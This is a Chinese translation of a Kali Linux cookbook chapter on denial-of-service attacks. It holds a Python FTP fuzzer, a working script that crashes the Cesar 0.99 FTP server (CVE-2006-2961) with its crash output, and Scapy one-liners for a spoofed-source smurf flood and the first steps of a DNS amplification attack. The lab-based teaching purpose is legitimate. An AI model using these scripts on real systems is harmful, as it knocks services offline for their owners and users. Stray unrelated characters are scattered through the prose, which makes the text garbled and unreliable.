Kali Linux 網(wǎng)絡(luò)掃描秘籍 第六章 拒絕服務(wù)(一)

第六章 拒絕服務(wù)(一)

作者:Justin Hutchens

譯者:飛龍

協(xié)議:CC BY-NC-SA 4.0

任何時(shí)候傻谁,當(dāng)你通過(guò)互聯(lián)網(wǎng)訪(fǎng)問(wèn)公開(kāi)資源老充,甚至通過(guò)內(nèi)部網(wǎng)絡(luò)訪(fǎng)問(wèn)小型社區(qū)時(shí),重要的是要考慮拒絕服務(wù)(DoS)攻擊的風(fēng)險(xiǎn)土至。 DoS 攻擊可能令人沮喪购对,并且可能非常昂貴。 最糟糕的是陶因,這些威脅往往是一些最難以緩解的威脅骡苞。 為了能夠正確評(píng)估對(duì)網(wǎng)絡(luò)和信息資源的威脅,必須了解現(xiàn)有的 DoS 威脅的類(lèi)型以及與之相關(guān)的趨勢(shì)。

在單獨(dú)討論列出的每個(gè)秘籍之前烙如,我們應(yīng)該強(qiáng)調(diào)一些基本原則么抗,并了解它們?nèi)绾闻c本章中討論的 DoS 攻擊相關(guān)。 我們將在接下來(lái)的秘籍中討論的 DoS 攻擊可以分為緩沖區(qū)溢出亚铁,流量放大攻擊或資源消耗攻擊蝇刀。 我們將按此順序討論與這些類(lèi)型的攻擊的工作原理相關(guān)的一般原則。

緩沖區(qū)溢出是一種編程漏洞徘溢,可能導(dǎo)致應(yīng)用程序吞琐,服務(wù)或整個(gè)底層操作系統(tǒng)的拒絕服務(wù)。 一般來(lái)說(shuō)然爆,緩沖區(qū)溢出能夠?qū)е戮芙^服務(wù)站粟,因?yàn)樗赡軐?dǎo)致任意數(shù)據(jù)被加載到非預(yù)期的內(nèi)存段。 這可能會(huì)中斷執(zhí)行流程曾雕,并導(dǎo)致服務(wù)或操作系統(tǒng)崩潰奴烙。 流量放大 DoS 攻擊能夠通過(guò)消耗特定服務(wù)器,設(shè)備或網(wǎng)絡(luò)可用的網(wǎng)絡(luò)帶寬來(lái)產(chǎn)生 DoS 條件剖张。 流量放大攻擊需要兩個(gè)條件才能成功切诀。 這些條件如下:

  • 重定向:攻擊者必須能夠請(qǐng)求可以重定向到受害者的響應(yīng)。 這通常通過(guò) IP 欺騙來(lái)實(shí)現(xiàn)搔弄。 因?yàn)?UDP 不是面向連接的協(xié)議幅虑,所以使用 UDP 作為其相關(guān)的傳輸層協(xié)議的大多數(shù)應(yīng)用層協(xié)議,可以用于通過(guò)偽造的請(qǐng)求顾犹,將服務(wù)響應(yīng)重定向到其他主機(jī)倒庵。
  • 放大:重定向的響應(yīng)必須大于請(qǐng)求該響應(yīng)的請(qǐng)求。 響應(yīng)字節(jié)大小和請(qǐng)求字節(jié)大小的比率越大炫刷,攻擊就越成功擎宝。

例如,如果發(fā)現(xiàn)了生成 10 倍于相關(guān)請(qǐng)求的響應(yīng)的 UDP 服務(wù)柬唯,則攻擊者可以利用該服務(wù)來(lái)潛在地生成 10 倍的攻擊流量认臊,而不是通過(guò)將偽造的請(qǐng)求發(fā)送到 漏洞服務(wù)圃庭,以可能最高的速率傳輸锄奢。 資源消耗攻擊是產(chǎn)生如下的條件的攻擊,其中主機(jī)服務(wù)器或設(shè)備的本地資源被消耗到一定程度剧腻,使得這些資源不再能夠用于執(zhí)行其預(yù)期的操作功能拘央。 這種類(lèi)型的攻擊可以針對(duì)各種本地資源,包括內(nèi)存书在,處理器性能灰伟,磁盤(pán)空間或并發(fā)網(wǎng)絡(luò)連接的可持續(xù)性。

6.1 使用模糊測(cè)試來(lái)識(shí)別緩沖區(qū)溢出

識(shí)別緩沖區(qū)溢出漏洞的最有效的技術(shù)之一是模糊測(cè)試。 模糊測(cè)試通過(guò)將精巧的或隨機(jī)數(shù)據(jù)傳遞給函數(shù)栏账,來(lái)測(cè)試與各種輸入相關(guān)的結(jié)果帖族。 在正確的情況下,輸入數(shù)據(jù)可能逃離其指定的緩沖區(qū)挡爵,并流入相鄰的寄存器或內(nèi)存段竖般。 此過(guò)程將中斷執(zhí)行流程并導(dǎo)致應(yīng)用程序或系統(tǒng)崩潰。 在某些情況下茶鹃,緩沖區(qū)溢出漏洞也可以用于執(zhí)行未經(jīng)授權(quán)的代碼涣雕。 在這個(gè)秘籍中,我們會(huì)討論如何通過(guò)開(kāi)發(fā)自定義的Fuzzing工具闭翩,來(lái)測(cè)試緩沖區(qū)溢出漏洞挣郭。

準(zhǔn)備

為了執(zhí)行遠(yuǎn)程模糊測(cè)試,你需要有一個(gè)運(yùn)行 TCP 或 UDP 網(wǎng)絡(luò)服務(wù)的系統(tǒng)疗韵。 在提供的示例中兑障,使用了擁有 FTP 服務(wù)的 Windows XP 系統(tǒng)。 有關(guān)設(shè)置 Windows 系統(tǒng)的更多信息蕉汪,請(qǐng)參閱本書(shū)第一章的“安裝 Windows Server”秘籍旺垒。 此外,本節(jié)需要使用文本編輯器(如 VIM 或 Nano)將腳本寫(xiě)入文件系統(tǒng)肤无。 有關(guān)編寫(xiě)腳本的更多信息先蒋,請(qǐng)參閱本書(shū)第一章的“使用文本編輯器(VIM 和 Nano)”秘籍。

工作原理

Python 是一種優(yōu)秀的腳本語(yǔ)言宛渐,可用于高效開(kāi)發(fā)自定義的模糊測(cè)試工具竞漾。 當(dāng)評(píng)估 TCP 服務(wù)時(shí),套接字函數(shù)可用于簡(jiǎn)化執(zhí)行完全三次握手序列窥翩,和連接到監(jiān)聽(tīng)服務(wù)端口的過(guò)程业岁。 任何模糊腳本的主要目的是,將數(shù)據(jù)作為輸入發(fā)送到任何給定的函數(shù)并評(píng)估結(jié)果寇蚊。 我開(kāi)發(fā)了一個(gè)腳本笔时,可以用來(lái)模糊測(cè)試 FTP 服務(wù)的驗(yàn)證后的功能,如下所示:

#!/usr/bin/python

import socket 
import sys

if len(sys.argv) != 6:   
    print "Usage - ./ftp_fuzz.py [Target-IP] [Port Number] [Payload] [Interval] [Maximum]"   
    print "Example - ./ftp_fuzz.py 10.0.0.5 21 A 100 1000"   
    print "Example will fuzz the defined FTP service with a series of payloads"   
    print "to include 100 'A's, 200 'A's, etc... up to the maximum of 1000"   
    sys.exit()

target = str(sys.argv[1]) 
port = int(sys.argv[2]) 
char = str(sys.argv[3]) 
i = int(sys.argv[4]) 
interval = int(sys.argv[4]) 
max = int(sys.argv[5]) 
user = raw_input(str("Enter ftp username: ")) 
passwd = raw_input(str("Enter ftp password: ")) 
command = raw_input(str("Enter FTP command to fuzz: "))

while i <= max:   
    try:      
        payload = command + " " + (char * i)      
        print "Sending " + str(i) + " instances of payload (" + char + ") to target"      
        s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)      
        connect=s.connect((target,port))      
        s.recv(1024)      
        s.send('USER ' + user + '\r\n')      
        s.recv(1024)      
        s.send('PASS ' + passwd + '\r\n')
        s.recv(1024)
        s.send(payload + '\r\n')
        s.send('QUIT\r\n')
        s.recv(1024)
        s.close()
        i = i + interval
    except:
        print "\nUnable to send...Server may have crashed"
        sys.exit()

print "\nThere is no indication that the server has crashed" 

腳本的第一部分定義了 Python 解釋器的位置仗岸,并導(dǎo)入所需的庫(kù)允耿。 第二部分檢查提供的參數(shù)數(shù)量,以確保其與腳本的適當(dāng)用法一致扒怖。 腳本的第三部分定義將在整個(gè)腳本執(zhí)行期間使用的變量较锡。 其中幾個(gè)變量從系統(tǒng)參數(shù)中接收到它們的值,這些參數(shù)在執(zhí)行時(shí)傳遞給腳本盗痒。 剩余的變量通過(guò)接受腳本的用戶(hù)的輸入來(lái)定義蚂蕴。 最后,腳本的其余部分定義了模糊測(cè)試過(guò)程。 我們執(zhí)行ftp_fuzz.py文件骡楼,如下:

root@KaliLinux:~# ./ftp_fuzz.py 
Usage - ./ftp_fuzz.py [Target-IP] [Port Number] [Payload] [Interval] [Maximum] 
Example - ./ftp_fuzz.py 10.0.0.5 21 A 100 1000 
Example will fuzz the defined FTP service with a series of payloads to include 100 'A's, 200 'A's, etc... up to the maximum of 1000 
root@KaliLinux:~# ./ftp_fuzz.py 172.16.36.134 21 A 100 1000 
Enter ftp username: anonymous 
Enter ftp password: user@mail.com 
Enter FTP command to fuzz: MKD

Sending 100 instances of payload (A) to target 
Sending 200 instances of payload (A) to target 
Sending 300 instances of payload (A) to target 
Sending 400 instances of payload (A) to target 
Sending 500 instances of payload (A) to target 
Sending 600 instances of payload (A) to target 
Sending 700 instances of payload (A) to target 
Sending 800 instances of payload (A) to target 
Sending 900 instances of payload (A) to target 
Sending 1000 instances of payload (A) to target

There is no indication that the server has crashed

如果腳本在沒(méi)有適當(dāng)數(shù)量的系統(tǒng)參數(shù)的情況下執(zhí)行熔号,腳本將返回預(yù)期的用法。有幾個(gè)值必須作為系統(tǒng)參數(shù)來(lái)包含鸟整。要傳遞給腳本的第一個(gè)參數(shù)是目標(biāo) IP 地址跨嘉。此 IP 地址是與運(yùn)行所需模糊測(cè)試的 FTP 服務(wù)的系統(tǒng)相關(guān)的 IP 地址。下一個(gè)參數(shù)是運(yùn)行 FTP 服務(wù)的端口號(hào)吃嘿。在大多數(shù)情況下祠乃,F(xiàn)TP 在 TCP 端口 21 中運(yùn)行。載荷定義了要批量傳遞到服務(wù)的字符或字符序列兑燥。 interval參數(shù)定義了在一次迭代中傳遞給 FTP 服務(wù)的載荷實(shí)例數(shù)亮瓷。參數(shù)也是這樣的數(shù)量,通過(guò)該數(shù)量降瞳,載荷實(shí)例的數(shù)量將隨著每次連續(xù)迭代增加到最大值嘱支。此最大值由最后一個(gè)參數(shù)的值定義。在使用這些系統(tǒng)參數(shù)執(zhí)行腳本后挣饥,它將請(qǐng)求 FTP 服務(wù)的身份驗(yàn)證憑證除师,并詢(xún)問(wèn)應(yīng)該對(duì)哪個(gè)身份驗(yàn)證后的功能進(jìn)行模糊測(cè)試。在提供的示例中扔枫,模糊測(cè)試對(duì) IP 地址172.16.36.134的 Windows XP 主機(jī)的 TCP 端口 21 上運(yùn)行的 FTP 服務(wù)執(zhí)行汛聚。匿名登錄憑據(jù)傳遞給了具有任意電子郵件地址的 FTP 服務(wù)。此外短荐,一系列 As 被傳遞到 MKD 驗(yàn)證后的功能倚舀,從 100 個(gè)實(shí)例開(kāi)始,并每次增加 100忍宋,直到達(dá)到最大 1000 個(gè)實(shí)例痕貌。同樣的腳本也可以用來(lái)傳遞載荷中的一系列字符:

root@KaliLinux:~# ./ftp_fuzz.py 172.16.36.134 21 ABCD 100 500 
Enter ftp username: anonymous 
Enter ftp password: user@mail.com 
Enter FTP command to fuzz: MKD 
Sending 100 instances of payload (ABCD) to target 
Sending 200 instances of payload (ABCD) to target 
Sending 300 instances of payload (ABCD) to target
Sending 400 instances of payload (ABCD) to target 
Sending 500 instances of payload (ABCD) to target

There is no indication that the server has crashed

在所提供的示例中,載荷被定義為ABCD糠排,并且該載荷的實(shí)例被定義為 100 的倍數(shù)舵稠,直到最大值 500。

工作原理

一般來(lái)說(shuō)入宦,緩沖區(qū)溢出能夠?qū)е戮芙^服務(wù)哺徊,因?yàn)樗鼈兛赡軐?dǎo)致任意數(shù)據(jù)被加載到非預(yù)期的內(nèi)存段。 這可能中斷執(zhí)行流程云石,并導(dǎo)致服務(wù)或操作系統(tǒng)崩潰唉工。 此秘籍中討論的特定腳本的工作原理是研乒,在服務(wù)或操作系統(tǒng)崩潰的情況下汹忠,套接字將不再接受輸入,并且腳本將無(wú)法完成整個(gè)載荷注入序列。 如果發(fā)生這種情況宽菜,腳本需要使用Ctrl + C強(qiáng)制關(guān)閉谣膳。在這種情況下,腳本會(huì)返回一個(gè)標(biāo)志铅乡,表示后續(xù)的載荷無(wú)法發(fā)送继谚,并且服務(wù)器可能已崩潰。

6.2 FTP 遠(yuǎn)程服務(wù)的緩沖區(qū)溢出 DoS 攻擊

在正確的情況下阵幸,輸入數(shù)據(jù)可能逃離其指定的緩沖區(qū)并流入相鄰的寄存器或內(nèi)存段花履。 此過(guò)程將中斷執(zhí)行流程并導(dǎo)致應(yīng)用程序或系統(tǒng)崩潰。 在某些情況下挚赊,緩沖區(qū)溢出漏洞也可以用于執(zhí)行未經(jīng)授權(quán)的代碼诡壁。 在這個(gè)特定的秘籍中,我們基于 Cesar 0.99 FTP 服務(wù)的緩沖區(qū)溢出荠割,展示如何執(zhí)行 DoS 攻擊的示例妹卿。

準(zhǔn)備

為了執(zhí)行遠(yuǎn)程模糊測(cè)試,你需要有一個(gè)運(yùn)行 TCP 或 UDP 網(wǎng)絡(luò)服務(wù)的系統(tǒng)蔑鹦。 在提供的示例中夺克,使用了擁有 FTP 服務(wù)的 Windows XP 系統(tǒng)。 有關(guān)設(shè)置 Windows 系統(tǒng)的更多信息嚎朽,請(qǐng)參閱本書(shū)第一章的“安裝 Windows Server”秘籍铺纽。 此外,本節(jié)需要使用文本編輯器(如 VIM 或 Nano)將腳本寫(xiě)入文件系統(tǒng)哟忍。 有關(guān)編寫(xiě)腳本的更多信息室囊,請(qǐng)參閱本書(shū)第一章的“使用文本編輯器(VIM 和 Nano)”秘籍。

操作步驟

有一個(gè)公開(kāi)披露的漏洞與 Cesar 0.99 FTP 服務(wù)相關(guān)魁索。 此漏洞由常見(jiàn)漏洞和披露(CVE)編號(hào)系統(tǒng)定義為 CVE-2006-2961融撞。 通過(guò)對(duì)此漏洞進(jìn)行研究,顯然可以通過(guò)向 MKD 函數(shù)發(fā)送換行字符的驗(yàn)證后序列粗蔚,來(lái)觸發(fā)基于棧的緩沖區(qū)溢出尝偎。 為了避免將\ n轉(zhuǎn)義序列傳遞給 Python 腳本,以及之后在提供的輸入中正確解釋它的相關(guān)困難鹏控,我們應(yīng)該修改先前秘籍中討論的腳本致扯。 然后,我們可以使用修改的腳本來(lái)利用此現(xiàn)有漏洞:

#!/usr/bin/python

import socket 
import sys

if len(sys.argv) != 5:   
    print "Usage - ./ftp_fuzz.py [Target-IP] [Port Number] [Interval] [Maximum]"   
    print "Example - ./ftp_fuzz.py 10.0.0.5 21 100 1000"   
    print "Example will fuzz the defined FTP service with a series of line break "   
    print "characters to include 100 '\\n's, 200 '\\n's, etc... up to the maximum of 1000"   
    sys.exit()

target = str(sys.argv[1]) 
port = int(sys.argv[2]) 
i = int(sys.argv[3]) 
interval = int(sys.argv[3]) 
max = int(sys.argv[4]) 
user = raw_input(str("Enter ftp username: ")) 
passwd = raw_input(str("Enter ftp password: ")) 
command = raw_input(str("Enter FTP command to fuzz: "))

while i <= max:   
    try:      
        payload = command + " " + ('\n' * i)      
        print "Sending " + str(i) + " line break characters to target"      
        s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
        connect=s.connect((target,port))      
        s.recv(1024)
        s.send('USER ' + user + '\r\n')
        s.recv(1024)
        s.send('PASS ' + passwd + '\r\n')
        s.recv(1024)
        s.send(payload + '\r\n')
        s.send('QUIT\r\n')
        s.recv(1024)
        s.close()
        i = i + interval
    except:
        print "\nUnable to send...Server may have crashed"
        sys.exit()

print "\nThere is no indication that the server has crashed" 

對(duì)腳本所做的修改包括当辐,修改使用描述和刪除作為提供的參數(shù)的載荷抖僵,然后將換行載荷硬編碼到要按順序發(fā)送的腳本中。

root@KaliLinux:~# ./ftp_fuzz.py 
Usage - ./ftp_fuzz.py [Target-IP] [Port Number] [Interval] [Maximum] 
Example - ./ftp_fuzz.py 10.0.0.5 21 100 1000 
Example will fuzz the defined FTP service with a series of line break characters to include 100 '\n's, 200 '\n's, etc... up to the maximum of 1000 
root@KaliLinux:~# ./ftp_fuzz.py 172.16.36.134 21 100 1000 
Enter ftp username: anonymous 
Enter ftp password: user@mail.com 
Enter FTP command to fuzz: MKD 
Sending 100 line break characters to target 
Sending 200 line break characters to target 
Sending 300 line break characters to target 
Sending 400 line break characters to target 
Sending 500 line break characters to target 
Sending 600 line break characters to target 
Sending 700 line break characters to target 
^C 
Unable to send...Server may have crashed

如果腳本在沒(méi)有適當(dāng)數(shù)量的系統(tǒng)參數(shù)的情況下執(zhí)行缘揪,腳本將返回預(yù)期的用法耍群。 然后义桂,我們可以執(zhí)行腳本并發(fā)送一系列載荷,它們的數(shù)量為 100 的倍數(shù)蹈垢,最大為 1000慷吊。在發(fā)送 700 個(gè)換行符的載荷后,腳本停止發(fā)送載荷曹抬,并處于空閑狀態(tài)溉瓶。 在一段時(shí)間不活動(dòng)后,腳本使用Ctrl + C被強(qiáng)制關(guān)閉谤民。腳本表示它已經(jīng)無(wú)法發(fā)送字符堰酿,并且遠(yuǎn)程服務(wù)器可能已經(jīng)崩潰。 看看下面的截圖:

通過(guò)返回到運(yùn)行 Cesar 0.99 FTP 服務(wù)的 Windows XP 主機(jī)张足,我們可以看到server.exe應(yīng)用程序崩潰了胞锰。 要在拒絕服務(wù)后恢復(fù)操作,必須手動(dòng)重新啟動(dòng) Cesar FTP 服務(wù)兢榨。

工作原理

一般來(lái)說(shuō)嗅榕,緩沖區(qū)溢出能夠?qū)е戮芙^服務(wù),因?yàn)樗鼈兛赡軐?dǎo)致任意數(shù)據(jù)被加載到非預(yù)期的內(nèi)存段吵聪。 這可能中斷執(zhí)行流程凌那,并導(dǎo)致服務(wù)或操作系統(tǒng)崩潰。 此秘籍中討論的特定腳本的工作原理是吟逝,在服務(wù)或操作系統(tǒng)崩潰的情況下帽蝶,套接字將不再接受輸入,并且腳本將無(wú)法完成整個(gè)有效載荷注入序列块攒。 如果發(fā)生這種情況励稳,腳本需要使用Ctrl + C強(qiáng)制關(guān)閉。在這種情況下囱井,腳本將返回一個(gè)標(biāo)識(shí)驹尼,表明后續(xù)載荷無(wú)法發(fā)送,并且服務(wù)器可能已崩潰庞呕。

6.3 Smurf DoS 攻擊

smurf 攻擊是歷史上用于執(zhí)行分布式拒絕服務(wù)(DDoS)放大攻擊的最古老的技術(shù)之一新翎。 此攻擊包括向網(wǎng)絡(luò)廣播地址發(fā)送一系列 ICMP 回響請(qǐng)求,帶有偽造的源 IP 地址住练。 當(dāng)廣播此回顯請(qǐng)求時(shí)地啰,LAN 上的所有主機(jī)會(huì)同時(shí)對(duì)收到的每個(gè)偽造請(qǐng)求的目標(biāo)進(jìn)行回復(fù)。 這種技術(shù)對(duì)現(xiàn)代系統(tǒng)的效率較低讲逛,因?yàn)榇蠖鄶?shù)系統(tǒng)不會(huì)回復(fù) IP 定向的廣播流量亏吝。

準(zhǔn)備

要執(zhí)行smurf攻擊,您需要有一個(gè)LAN盏混,上面運(yùn)行多個(gè)系統(tǒng)蔚鸥。 提供的示例將 Ubuntu 用作掃描目標(biāo)惜论。 有關(guān)設(shè)置 Ubuntu 的更多信息,請(qǐng)參閱本書(shū)第一章中的“安裝 Ubuntu Server”秘籍。

操作步驟

為了嘗試執(zhí)行傳統(tǒng)的 smurf 攻擊,Scapy 可以用于從零開(kāi)始構(gòu)建必要的數(shù)據(jù)包佳镜。 為了從 Kali Linux 命令行使用 Scapy霜第,請(qǐng)從終端使用scapy命令,如下所示技羔。 為了向廣播地址發(fā)送 ICMP 請(qǐng)求僵闯,我們必須首先構(gòu)建此請(qǐng)求的層級(jí)。 我們將需要構(gòu)建的第一層是 IP 層:

root@KaliLinux:~# scapy Welcome to Scapy (2.2.0) 
>>> i = IP() 
>>> i.display() 
###[ IP ]###  
    version= 4  
    ihl= None
    tos= 0x0
    len= None
    id= 1
    flags=
    frag= 0
    ttl= 64
    proto= ip
    chksum= None
    src= 127.0.0.1
    dst= 127.0.0.1
    \options\ 
>>> i.dst = "172.16.36.255" 
>>> i.display() 
###[ IP ]###
    version= 4
    ihl= None
    tos= 0x0
    len= None
    id= 1
    flags=
    frag= 0
    ttl= 64
    proto= ip
    chksum= None
    src= 172.16.36.224
    dst= 172.16.36.255
    \options\ 

要構(gòu)建我們的請(qǐng)求的 IP 層藤滥,我們應(yīng)該將 IP 對(duì)象賦給變量i鳖粟。 通過(guò)調(diào)用display()函數(shù),我們可以確定該對(duì)象的屬性配置拙绊。 通常向图,發(fā)送和接收地址都設(shè)為回送地址127.0.0.1。 可以通過(guò)將i.dst設(shè)置為廣播地址的字符串值标沪,來(lái)更改目標(biāo)地址并修改這些值榄攀。 通過(guò)再次調(diào)用display()函數(shù),我們可以看到金句,不僅更新了目的地址檩赢,而且Scapy也會(huì)自動(dòng)將源 IP 地址更新為與默認(rèn)接口相關(guān)的地址。 現(xiàn)在我們已經(jīng)構(gòu)建了請(qǐng)求的 IP 層违寞,我們應(yīng)該繼續(xù)構(gòu)建 ICMP 層:

>>> ping = ICMP() 
>>> ping.display() 
###[ ICMP ]###  
    type= echo-request  
    code= 0  
    chksum= None  
    id= 0x0  
    seq= 0x0 

要構(gòu)建我們的請(qǐng)求的 ICMP 層贞瞒,我們將使用與 IP 層相同的技術(shù)。 默認(rèn)情況下趁曼,ICMP 層已配置為執(zhí)行回顯請(qǐng)求军浆。 現(xiàn)在我們已經(jīng)創(chuàng)建了 IP 和 ICMP 層,我們需要通過(guò)堆疊這些層來(lái)構(gòu)造請(qǐng)求:

>>> request = (i/ping) 
>>> request.display() 
###[ IP ]###  
    version= 4  
    ihl= None  
    tos= 0x0  
    len= None  
    id= 1
    flags=  
    frag= 0  
    ttl= 64  
    proto= icmp  
    chksum= None  
    src= 172.16.36.224  
    dst= 172.16.36.255  
    \options\ 
###[ ICMP ]###  
    type= echo-request  
    code= 0  
    chksum= None  
    id= 0x0  
    seq= 0x0 
>>> send(request) 
. 
Sent 1 packets.

可以通過(guò)使用斜杠分隔變量挡闰,來(lái)堆疊 IP 和 ICMP 層瘾敢。 然后可以將這些層及賦給表示整個(gè)請(qǐng)求的新變量。 然后可以調(diào)用display()函數(shù)來(lái)查看請(qǐng)求的配置尿这。 一旦建立了請(qǐng)求簇抵,就可以將其傳遞給函數(shù)。 可以使用 Wireshark 或 TCPdump 等數(shù)據(jù)包捕獲工具來(lái)監(jiān)控結(jié)果射众。 在提供的示例中碟摆,Wireshark 顯示,LAN 上的兩個(gè) IP 地址響應(yīng)了廣播回響請(qǐng)求:

實(shí)際上叨橱,兩個(gè)響應(yīng)地址不足以執(zhí)行有效的 DoS 攻擊典蜕。 如果這個(gè)練習(xí)復(fù)制到另一個(gè)具有半現(xiàn)代化主機(jī)的實(shí)驗(yàn)室中断盛,結(jié)果很可能是類(lèi)似的。 在有足夠的響應(yīng)地址來(lái)觸發(fā)拒絕服務(wù)的情況下愉舔,源地址將需要替換為了攻擊目標(biāo)的 IP 地址:

>>> send(IP(dst="172.16.36.255",src="172.16.36.135")/ ICMP(),count=100,verbose=1) 
......................................................................... ........................... 
Sent 100 packets. 

在提供的示例中钢猛,Scapy 的單行命令用于執(zhí)行與之前討論的相同操作,但此時(shí)除外轩缤,源 IP 地址被偽造為 LAN 上另一個(gè)系統(tǒng)的地址命迈。 此外,count可用于按順序發(fā)送多個(gè)請(qǐng)求火的。

工作原理

放大攻擊的原理是利用第三方設(shè)備壶愤,使網(wǎng)絡(luò)流量壓倒目標(biāo)。 對(duì)于多數(shù)放大攻擊馏鹤,必須滿(mǎn)足兩個(gè)條件:

  • 用于執(zhí)行攻擊的協(xié)議不驗(yàn)證請(qǐng)求源
  • 來(lái)自所使用的網(wǎng)絡(luò)功能的響應(yīng)應(yīng)該顯著大于用于請(qǐng)求它的請(qǐng)求征椒。

傳統(tǒng) smurf 攻擊的效率取決于 LAN 上響應(yīng) IP 定向的廣播流量的主機(jī)。 這種主機(jī)從目標(biāo)系統(tǒng)的偽造 IP 地址接收 ICMP 廣播回響請(qǐng)求湃累,然后針對(duì)接收到的每個(gè)請(qǐng)求同時(shí)返回 ICMP 回響應(yīng)答勃救。

6.4 DNS 放大 DoS 攻擊

DNS放大攻擊通過(guò)對(duì)給定域執(zhí)行所有類(lèi)型記錄的偽造查詢(xún),來(lái)利用開(kāi)放的 DNS 解析器治力。 通過(guò)同時(shí)向多個(gè)開(kāi)放的解析器發(fā)送請(qǐng)求來(lái)使用 DDoS 組件蒙秒,可以提高這種攻擊的效率。

準(zhǔn)備

為了模擬 DNS 放大攻擊琴许,你需要有一個(gè)本地名稱(chēng)服務(wù)器税肪,或知道一個(gè)開(kāi)放和可公開(kāi)訪(fǎng)問(wèn)的名稱(chēng)服務(wù)器的 IP 地址。 提供的示例將 Ubuntu 用作掃描目標(biāo)榜田。 有關(guān)設(shè)置 Ubuntu 的更多信息益兄,請(qǐng)參閱本書(shū)第一章中的“安裝 Ubuntu Server”秘籍。

操作步驟

為了了解 DNS 放大的工作原理箭券,可以使用基本的 DNS 查詢(xún)工具净捅,如hostdignslookup辩块。 通過(guò)對(duì)與已建立的域相關(guān)的所有記錄類(lèi)型執(zhí)行請(qǐng)求蛔六,你將注意到一些請(qǐng)求返回了相當(dāng)大的響應(yīng):

root@KaliLinux:~# dig ANY google.com @208.67.220.220

; <<>> DiG 9.8.4-rpz2+rl005.12-P1 <<>> ANY google.com @208.67.220.220 
;; global options: +cmd
;; Got answer: 
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 41539 
;; flags: qr rd ra; QUERY: 1, ANSWER: 17, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION: ;
google.com.         IN   ANY
;; ANSWER SECTION: 
google.com.      181   IN   A   74.125.232.101 
google.com.      181   IN   A   74.125.232.97 
google.com.      181   IN   A   74.125.232.102 
google.com.      181   IN   A   74.125.232.99 
google.com.      181   IN   A   74.125.232.104 
google.com.      181   IN   A   74.125.232.96 
google.com.      181   IN   A   74.125.232.100 
google.com.      181   IN   A   74.125.232.103 
google.com.      181   IN   A   74.125.232.105 
google.com.      181   IN   A   74.125.232.98 
google.com.      181   IN   A   74.125.232.110 
google.com.      174   IN   AAAA   2607:f8b0:4004:803::1007 
google.com.      167024   IN   NS   ns2.
google.com. 
google.com.      167024   IN   NS   ns1.
google.com. 
google.com.      167024   IN   NS   ns3.
google.com. 
google.com.      167024   IN   NS   ns4.
google.com. 
google.com.      60   IN   SOA   ns1.
google.com. dns-admin.
google.com. 1545677 7200 1800 1209600 300

;; Query time: 7 msec 
;; SERVER: 208.67.220.220#53(208.67.220.220) 
;; WHEN: Thu Dec 19 02:40:16 2013 
;; MSG SIZE  rcvd: 35

在提供的示例中,與google.com域相關(guān)的所有記錄類(lèi)型的請(qǐng)求返回了一個(gè)響應(yīng)废亭,包含11個(gè)A記錄国章,1個(gè)AAAA記錄,4個(gè)NS記錄和1個(gè)SOA記錄豆村。 DNS放大攻擊的效率與響應(yīng)大小直接相關(guān)液兽。 我們現(xiàn)在將嘗試使用 Scapy 中構(gòu)建的數(shù)據(jù)包執(zhí)行相同的操作。 要發(fā)送我們的 DNS 查詢(xún)請(qǐng)求掌动,我們必須首先構(gòu)建此請(qǐng)求的層級(jí)四啰。 我們需要構(gòu)建的第一層是 IP 層:

root@KaliLinux:~# scapy Welcome to Scapy (2.2.0) 
>>> i = IP() 
>>> i.display() 
###[ IP ]###
    version= 4
    ihl= None
    tos= 0x0
    len= None
    id= 1
    flags=
    frag= 0
    ttl= 64
    proto= ip
    chksum= None
    src= 127.0.0.1
    dst= 127.0.0.1
    \options\ 
>>> i.dst = "208.67.220.220" 
>>> i.display() 
###[ IP ]###
    version= 4
    ihl= None
    tos= 0x0
    len= None
    id= 1
    flags=
    frag= 0
    ttl= 64
    proto= ip
    chksum= None
    src= 172.16.36.180
    dst= 208.67.220.220
    \options\ 

要構(gòu)建我們的請(qǐng)求的 IP 層宁玫,我們應(yīng)該將 IP 對(duì)象賦給變量i。 通過(guò)調(diào)用display()函數(shù)柑晒,我們可以確定該對(duì)象的屬性配置欧瘪。 通常,發(fā)送和接收地址都設(shè)為回送地址127.0.0.1匙赞。 可以通過(guò)將i.dst設(shè)置為廣播地址的字符串值佛掖,來(lái)更改目標(biāo)地址并修改這些值。 通過(guò)再次調(diào)用display()函數(shù)罚屋,我們可以看到苦囱,不僅更新了目的地址嗅绸,而且Scapy也會(huì)自動(dòng)將源 IP 地址更新為與默認(rèn)接口相關(guān)的地址脾猛。 現(xiàn)在我們已經(jīng)構(gòu)建了請(qǐng)求的 IP 層,我們應(yīng)該繼續(xù)構(gòu)建 UDP 層:

>>> u = UDP() 
>>> u.display() 
###[ UDP ]###  
    sport= domain  
    dport= domain  
    len= None  
    chksum= None 
>>> u.dport 53

要構(gòu)建我們的請(qǐng)求的 UDP 層鱼鸠,我們將使用與IP層相同的技術(shù)猛拴。 在提供的示例中,UDP 對(duì)象賦給了u變量蚀狰。 如前所述愉昆,可以通過(guò)調(diào)用display()函數(shù)來(lái)確定默認(rèn)配置。 在這里麻蹋,我們可以看到源和目標(biāo)端口的默認(rèn)值都列為domain跛溉。 您可能能猜到,這表示與端口 53 相關(guān)的 DNS服 務(wù)扮授。DNS 是一種常見(jiàn)的服務(wù)芳室,通常可以在網(wǎng)絡(luò)系統(tǒng)上發(fā)現(xiàn)刹勃。 要確認(rèn)這一點(diǎn)堪侯,我們可以通過(guò)引用變量名和屬性直接調(diào)用該值。 既然已經(jīng)構(gòu)建了 IP 和 UDP 層荔仁,我們需要構(gòu)建 DNS 層:

>>> d = DNS() 
>>> d.display() 
###[ DNS ]###
  id= 0
  qr= 0
  opcode= QUERY
  aa= 0
  tc= 0
  rd= 0
  ra= 0
  z= 0
  rcode= ok
  qdcount= 0
  ancount= 0
  nscount= 0
  arcount= 0
  qd= None
  an= None
  ns= None
  ar= None 

為了構(gòu)建我們的請(qǐng)求的DNS層伍宦,我們將使用與 IP 和 UDP 層相同的技術(shù)。 在提供的示例中乏梁,DNS 對(duì)象賦給了d變量次洼。 如前所述,可以通過(guò)調(diào)用display()函數(shù)來(lái)確定默認(rèn)配置遇骑。 在這里卖毁,我們可以看到有幾個(gè)值需要修改:

>>> d.rd = 1 
>>> d.qdcount = 1 
>>> d.display() 
###[ DNS ]###
  id= 0
  qr= 0
  opcode= QUERY
  aa= 0
  tc= 0
  rd= 1
  ra= 0
  z= 0
  rcode= ok
